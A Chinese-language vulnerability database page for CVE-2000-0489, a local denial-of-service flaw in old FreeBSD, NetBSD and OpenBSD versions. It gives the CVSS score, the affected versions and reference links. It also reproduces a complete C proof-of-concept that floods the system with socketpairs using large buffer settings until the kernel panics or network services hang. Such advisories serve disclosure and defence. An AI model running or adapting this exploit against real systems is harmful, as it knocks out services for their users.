CVE-2000-0489
CVSS2.1
发布时间 :1999-09-05 00:00:00
修订时间 :2008-09-10 15:04:48
NMCOE    

[原文]FreeBSD, NetBSD, and OpenBSD allow an attacker to cause a denial of service by creating a large number of socket pairs using the socketpair function, setting a large buffer size via setsockopt, then writing large buffers.


[CNNVD]多厂商setsocopt()拒绝服务漏洞(CNNVD-199909-012)

        FreeBSD, NetBSD以及OpenBSD 存在漏洞。攻击者通过使用socketpair函数创建大量套接字对,并用setsockopt设置大规模缓存并写入内容的方法导致拒绝服务。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:freebsd:freebsd:3.1FreeBSD 3.1
cpe:/o:netbsd:netbsd:1.4.1::arm32
cpe:/o:netbsd:netbsd:1.4.2::sparc
cpe:/o:netbsd:netbsd:1.4.2::alpha
cpe:/o:freebsd:freebsd:3.0FreeBSD 3.0
cpe:/o:netbsd:netbsd:1.4.1::alpha
cpe:/o:netbsd:netbsd:1.4.1::x86
cpe:/o:netbsd:netbsd:1.4::x86
cpe:/o:freebsd:freebsd:3.2FreeBSD 3.2
cpe:/o:freebsd:freebsd:3.4FreeBSD 3.4
cpe:/o:netbsd:netbsd:1.4.2::arm32
cpe:/o:netbsd:netbsd:1.4.1::sparc
cpe:/o:openbsd:openbsd:2.5OpenBSD 2.5
cpe:/o:netbsd:netbsd:1.4.2::x86
cpe:/o:openbsd:openbsd:2.6OpenBSD 2.6
cpe:/o:openbsd:openbsd:2.7OpenBSD 2.7
cpe:/o:freebsd:freebsd:3.3FreeBSD 3.3
cpe:/o:freebsd:freebsd:3.5FreeBSD 3.5
cpe:/o:freebsd:freebsd:5.0:alpha
cpe:/o:freebsd:freebsd:4.0FreeBSD 4.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0489
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0489
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199909-012
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/3298.php
(VENDOR_ADVISORY)  XF  bsd-setsockopt-dos
http://www.securityfocus.com/templates/archive.pike?list=1&msg=Pine.LNX.4.10.9908270039010.16315-100000@thetis.deor.org
(UNKNOWN)  BUGTRAQ  19990826 Local DoS in FreeBSD
http://www.securityfocus.com/templates/archive.pike?list=1&msg=NCBBKFKDOLAGKIAPMILPCEJLCEAA.labs@ussrback.com
(UNKNOWN)  BUGTRAQ  20000601 Local FreeBSD, Openbsd, NetBSD, DoS Vulnerability - Mac OS X affected
http://www.securityfocus.com/bid/622
(UNKNOWN)  BID  622

- 漏洞信息

多厂商setsocopt()拒绝服务漏洞
低危 其他
1999-09-05 00:00:00 2005-05-02 00:00:00
本地  
        FreeBSD, NetBSD以及OpenBSD 存在漏洞。攻击者通过使用socketpair函数创建大量套接字对,并用setsockopt设置大规模缓存并写入内容的方法导致拒绝服务。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19488)

FreeBSD <= 5.0,NetBSD <= 1.4.2,OpenBSD <= 2.7 setsockopt() Dos (EDBID:19488)
bsd local
1999-09-05 Verified
0 L. Sassaman
N/A [点击下载]
source: http://www.securityfocus.com/bid/622/info

A denial of service attack exists that affects FreeBSD, NetBSD and OpenBSD, and potentially other operating systems based in some part on BSD. It is believed that all versions of these operating systems are vulnerable. The vulnerability is related to setting socket options regarding the size of the send and receive buffers on a socketpair. By setting them to certain values, and performing a write the size of the value the options have been set to, FreeBSD can be made to panic. NetBSD and OpenBSD do not panic, but network applications will stop responding.

Details behind why this happens have not been made available. 

#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>

#define BUFFERSIZE 204800

extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];

while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}



  			

- 漏洞信息

1066
Multiple BSD setsockopt() Saturation Local DoS
Local Access Required Denial of Service
Loss of Availability Solution Unknown
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

1999-08-27 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站